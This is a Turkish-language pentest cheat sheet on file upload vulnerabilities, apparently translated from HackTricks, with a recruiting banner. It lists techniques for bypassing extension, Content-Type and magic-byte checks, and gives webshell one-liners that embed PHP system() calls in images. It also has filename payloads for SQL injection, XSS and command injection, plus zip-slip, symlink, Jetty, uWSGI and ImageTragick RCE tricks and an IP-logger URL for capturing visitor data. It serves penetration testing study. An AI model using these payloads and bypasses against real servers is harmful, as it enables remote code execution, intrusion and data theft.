File Upload
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
Dosya Yükleme Genel Metodolojisi
Diğer kullanışlı uzantılar:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
PHPv8'de Çalışma: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Sunucusu: .yaws
Dosya uzantıları denetimlerini atlatma
Eğer varsa, önceki uzantıları kontrol edin. Ayrıca onları bazı büyük harflerle deneyin: pHp, .pHP5, .PhAr ...
Çalıştırma uzantısından önce geçerli bir uzantı ekleyin (önceki uzantıları da kullanın):
file.png.php
file.png.Php5
Sonuna özel karakterler ekleyin. Burp'u kullanarak tüm ascii ve Unicode karakterlerini bruteforce etmeyi deneyebilirsiniz. (Önceki uzantıları da kullanarak deneyebilirsiniz)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Sunucu tarafındaki uzantı ayrıştırıcısını yanıltarak korumaları atlatmaya çalışın. Uzantıyı ikiye katlama veya uzantılar arasına gereksiz veri (null baytları) eklemek gibi tekniklerle. Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Önceki kontrolde başka bir katman uzantı ekleyin:
file.png.jpg.php
file.php%00.png%00.jpg
Geçerli uzantıdan önce exec uzantısını eklemeyi deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yan yapılandırmalarını sömürmek için faydalıdır, burada uzantısı .php olan her şey çalışır, ancak .php ile bitmeyebilir):
örn: file.php.png
Windows'ta NTFS alternatif veri akışı (ADS) kullanın. Bu durumda, yasaklı bir uzantıdan önce ve izin verilen bir uzantıdan sonra iki nokta üst üste karakteri “:” eklenir. Sonuç olarak, sunucuda yasaklı uzantılı boş bir dosya oluşturulur (örn. “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak düzenlenebilir. “::$data” deseni ayrıca boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (örn. “file.asp::$data.”)
Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir ve kötücül PHP bırakılır. AAA<--SNIP-->AAA.php
İçerik Türü, Sihirli Sayı, Sıkıştırma ve Yeniden Boyutlandırma Atlatma
Content-Type denetimlerini atlatmak için Content-Type başlığının değerini şu şekilde ayarlayın: image/png , text/plain , application/octet-stream
Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
Sihirli sayı kontrolünü atlatmak için dosyanın başına gerçek bir resmin baytlarını ekleyerek (file komutunu karıştırın). Veya metadata içine shell ekleyin:
exiftool -Comment="<?php echo 'Komut:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
veya ayrıca bir resme doğrudan yük de ekleyebilirsiniz:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Eğer resminize sıkıştırma ekleniyorsa, örneğin PHP-GD gibi bazı standart PHP kütüphanelerini kullanarak, önceki teknikler işe yaramaz olacaktır. Ancak, sıkıştırmayı hayatta kalacak bir metin eklemek için PLTE chunk'ı kullanabilirsiniz burada tanımlanan teknik.
Web sayfası ayrıca resmi yeniden boyutlandırabilir, örneğin PHP-GD fonksiyonları
imagecopyresized
veyaimagecopyresampled
kullanarak. Ancak, sıkıştırmayı hayatta kalacak bir metin eklemek için IDAT chunk burada tanımlanan teknik kullanabilirsiniz.Bir payload oluşturmak için başka bir teknik, resmi yeniden boyutlandırmayı hayatta kalacak bir metin eklemek için PHP-GD fonksiyonu
thumbnailImage
kullanabilirsiniz. Ancak, sıkıştırmayı hayatta kalacak bir metin eklemek için tEXt chunk burada tanımlanan teknik kullanabilirsiniz.
Diğer İpuçları
Yüklenen dosyanın adını değiştirmek için bir zafiyet bulun (uzantıyı değiştirmek için).
Geri kapıyı çalıştırmak için Yerel Dosya Dahil Etme zafiyeti bulun.
Olası Bilgi Sızıntısı:
Aynı dosyayı ve aynı ada sahip dosyaları birkaç kez ve aynı anda yükleyin
Zaten var olan bir dosya veya klasörün adıyla bir dosya yükleyin
Adı “.”, “..”, veya “…” olan bir dosya yükleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları “/www/uploads/” dizininde saklıyorsa, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
“…:.jpg” gibi kolayca silinmeyen bir dosya yükleyin NTFS'de. (Windows)
Adında
|<>*?”
gibi geçersiz karakterler bulunan bir dosya yükleyin Windows'a. (Windows)CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi yasaklanmış (yasaklanmış) adlar kullanarak Windows'a bir dosya yükleyin.
Ayrıca yanlışlıkla açıldığında kodu çalıştıracak bir (.exe) veya daha az şüpheli bir .html dosyası yüklemeyi deneyin.
Özel Uzantı İpuçları
Eğer dosyaları bir PHP sunucusuna yüklemeye çalışıyorsanız, kodun çalıştırılması için .htaccess hilesine bakın. Eğer dosyaları bir ASP sunucusuna yüklemeye çalışıyorsanız, kodun çalıştırılması için .config hilesine bakın.
.phar
dosyaları java için .jar
gibi, ancak php için ve bir php dosyası gibi kullanılabilir (php ile çalıştırılarak veya bir betik içine dahil edilerek...)
.inc
uzantısı bazen yalnızca dosyaları ithal etmek için kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, birinin bu uzantının çalıştırılmasına izin vermiş olabileceğini düşünebilirsiniz.
Jetty RCE
Eğer bir XML dosyasını bir Jetty sunucusuna yükleyebilirseniz, RCE elde edebilirsiniz çünkü yeni *.xml ve *.war otomatik olarak işlenir. Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını $JETTY_BASE/webapps/
dizinine yükleyin ve kabuk bekleyin!
uWSGI RCE
Bu zafiyetin detaylı keşfi için orijinal araştırmaya göz atın: uWSGI RCE Sömürüsü.
UWSGI sunucularında Uzaktan Komut Yürütme (RCE) zafiyetleri, .ini
yapılandırma dosyasını değiştirme yeteneğine sahip olanlar tarafından sömürülebilir. UWSGI yapılandırma dosyaları, "sihirli" değişkenler, yer tutucular ve operatörler içeren belirli bir sözdizim kullanır. Özellikle, @(filename)
olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. UWSGI'de desteklenen çeşitli şemalardan biri olan "exec" şeması özellikle güçlüdür, bir işlemin standart çıktısından veri okumayı sağlar. Bu özellik, .ini
yapılandırma dosyası işlendiğinde Uzaktan Komut Yürütme veya Dosya Yazma/Okuma gibi kötü amaçlı amaçlar için manipüle edilebilir.
Aşağıdaki zararlı uwsgi.ini
dosyası örneğini düşünün, çeşitli şemaları göstermektedir:
Payload'ın yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için uWSGI işlemi ya yeniden başlatılmalıdır (potansiyel olarak bir çökme sonrası veya Bir Hizmet Reddi saldırısından dolayı) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Etkinleştirilmişse, otomatik yeniden yükleme özelliği, değişiklikler algılandığında belirtilen aralıklarla dosyayı yeniden yükler.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak son derece önemlidir. Özellikle, tartışılan payload, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir, potansiyel istismarın kapsamını daha da genişletir.
wget Dosya Yükleme/SSRF Hilesi
Bazı durumlarda sunucunun wget
'ı dosyaları indirmek için kullandığını ve URL'yi belirtebileceğinizi fark edebilirsiniz. Bu durumlarda, kodun indirilen dosyaların uzantısının bir beyaz listeye dahil olduğunu kontrol edebileceğini ve yalnızca izin verilen dosyaların indirileceğini sağlamak için. Ancak, bu kontrol atlatılabilir.
Linux'taki bir dosya adının maksimum uzunluğu 255 karakterdir, ancak wget dosya adlarını 236 karaktere kısaltır. "A"*232+".php"+".gif" adında bir dosya indirebilirsiniz, bu dosya adı kontrolü atlayacaktır (bu örnekte ".gif" geçerli bir uzantıdır) ancak wget
dosyayı "A"*232+".php" olarak yeniden adlandıracaktır.
Başka bir seçenek olarak düşünebileceğiniz şey, bu kontrolü atlatmanın bir yolu olarak HTTP sunucusunu farklı bir dosyaya yönlendirmesini sağlamaktır, böylece başlangıçtaki URL kontrolü atlatırken wget daha sonra yönlendirilen dosyayı yeni adıyla indirecektir. Bu, wget'in --trust-server-names
parametresiyle kullanıldığı sürece çalışmayacaktır çünkü wget yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir.
Araçlar
Upload Bypass, Pentesterlara ve Hata Avcılarına dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata avcılığı tekniklerinden yararlanarak web uygulamalarının kapsamlı değerlendirmelerini sağlayarak zayıflıkları tanımlama ve sömürme sürecini basitleştirir.
Dosya yüklemeden diğer zafiyetlere
Dosya adını
../../../tmp/lol.png
olarak ayarlayın ve bir yol geçişi elde etmeye çalışınDosya adını
sleep(10)-- -.jpg
olarak ayarlayın ve bir SQL enjeksiyonu elde edebilirsinizDosya adını
<svg onload=alert(document.domain)>
olarak ayarlayarak bir XSS elde edinDosya adını
; sleep 10;
olarak ayarlayarak bazı komut enjeksiyonlarını test edin (daha fazla komut enjeksiyonu hilesi burada)JS dosyası yükleme + XSS = Service Workers kötüye kullanımı
Ünlü ImageTrick zafiyeti
Eğer web sunucusunu bir URL'den bir resmi yakalamaya işaret edebilirseniz, bir SSRF'yi kötüye kullanmayı deneyebilirsiniz. Bu resim bir genel siteye kaydedilecekse, https://iplogger.org/invisible/ adresinden bir URL belirtebilir ve her ziyaretçinin bilgilerini çalabilirsiniz.
XSS için özel olarak hazırlanmış PDF'ler: Aşağıdaki sayfa, JS yürütmek için PDF verilerini enjekte etmenin nasıl yapılacağını sunmaktadır. PDF'ler yükleyebiliyorsanız, verilen talimatları takip ederek keyfi JS yürütebilecek bir PDF hazırlayabilirsiniz.
Sunucunun herhangi bir antivirüs olup olmadığını kontrol etmek için [eicar](https://secure.eicar.org/eicar.com.txt) içeriğini yükleyin
Dosya yükleme sırasında herhangi bir boyut sınırı olup olmadığını kontrol edin
İşte yükleme yaparak elde edebileceğiniz şeylerin en iyi 10 listesi (buradan):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Depolanan XSS / SSRF / XXE
GIF: Depolanan XSS / SSRF
CSV: CSV enjeksiyonu
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML enjeksiyonu / XSS / Açık yönlendirme
PNG / JPEG: Piksel seli saldırısı (DoS)
ZIP: LFI aracılığıyla RCE / DoS
PDF / PPTX: SSRF / Kör XXE
Burp Eklentisi
Sihirli Başlık Baytları
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
Diğer dosya türleri için https://en.wikipedia.org/wiki/List_of_file_signatures adresine başvurun.
Zip/Tar Dosyası Otomatik Olarak Sıkıştırılmış Yükleme
Sunucu içinde sıkıştırılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:
Sembolik bağ
Diğer dosyalara yumuşak bağlantılar içeren bir bağlantı yükleyin, ardından, sıkıştırılmış dosyalara erişerek bağlı dosyalara erişeceksiniz:
Farklı klasörlerde açma
Sıkıştırma sırasında dosyaların beklenmedik bir şekilde dizinlerde oluşturulması ciddi bir sorundur. Bu kurulumun, kötü niyetli dosya yüklemeleri aracılığıyla OS düzeyinde komut yürütme karşısında koruma sağlayabileceği ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin gezinme yetenekleri kötü niyetli kişiler tarafından istismar edilebilir. Bu, saldırganların hedef uygulamanın açma işlevselliğini manipüle ederek kısıtlamaları atlamasına ve güvenli yükleme dizinlerinden kaçmasına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir saldırı aracı GitHub'daki evilarc adresinde mevcuttur. Yardımcı program şu şekilde kullanılabilir:
Ayrıca, evilarc ile sembolik bağlantı hilesi bir seçenektir. Eğer /flag.txt
gibi bir dosyayı hedef almak isteniyorsa, o dosyaya bir sembolik bağlantı oluşturulmalıdır. Bu, evilarc'ın işlemi sırasında hata ile karşılaşmamasını sağlar.
Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan Python kodu örneği bulunmaktadır:
Dosya püskürtme için sıkıştırma kötüye kullanma
Daha fazla ayrıntı için orijinal yazıya bakın: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Bir PHP Shell Oluşturma: PHP kodu,
$_REQUEST
değişkeninden geçirilen komutları çalıştırmak için yazılmıştır.
Dosya Püskürtme ve Sıkıştırılmış Dosya Oluşturma: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
Hex Düzenleyici veya vi ile Değiştirme: Zip içindeki dosyaların adları, "xxA"yı değiştirerek dizinleri gezmek için vi veya bir hex düzenleyici kullanılarak değiştirilir.
ImageTragic
Bu içeriği bir resim uzantısıyla yükleyerek zafiyeti sömürün (ImageMagick, 7.0.1-1) (exploit'ten exploit)
PNG İçine PHP Shell Gömme
Bir PNG dosyasının IDAT parçasına bir PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlayabilir. PHP-GD'den imagecopyresized
ve imagecopyresampled
işlevleri bu bağlamda özellikle önemlidir, çünkü genellikle görüntüleri yeniden boyutlandırma ve örnekleme işlemleri için kullanılırlar. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
Bu teknik hakkında detaylı bir keşif, metodolojisi ve potansiyel uygulamaları dahil olmak üzere aşağıdaki makalede sunulmaktadır: "PNG IDAT Parçalarında Web Shell Kodlarını Kodlama". Bu kaynak, işlemin ve sonuçlarının kapsamlı bir anlayışını sunar.
Daha fazla bilgi için: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Poliglot Dosyalar
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder, aynı anda birden fazla dosya biçiminde geçerli olabilen kameleonlar olarak işlev görür. İlginç bir örnek GIFAR adlı bir hibriddir, hem bir GIF hem de bir RAR arşivi olarak işlev gören. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatma kapasitelerindedir. Çeşitli uygulamalarda yaygın olan bir uygulama, yalnızca belirli dosya türlerine izin vermek - JPEG, GIF veya DOC gibi - potansiyel olarak zararlı biçimlerin (örneğin, JS, PHP veya Phar dosyaları) oluşturabileceği riski azaltmak içindir. Ancak, poliglot dosyalar, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice atlayabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar bazı sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARşiv) ve bir JPEG dosyasını temsil edebilirken, yüklemenin başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikili yapısı, yüklemenin garantisini sağlamak için yeterli olmayabilir.
Daha fazla bilgi için: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Referanslar
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).
Last updated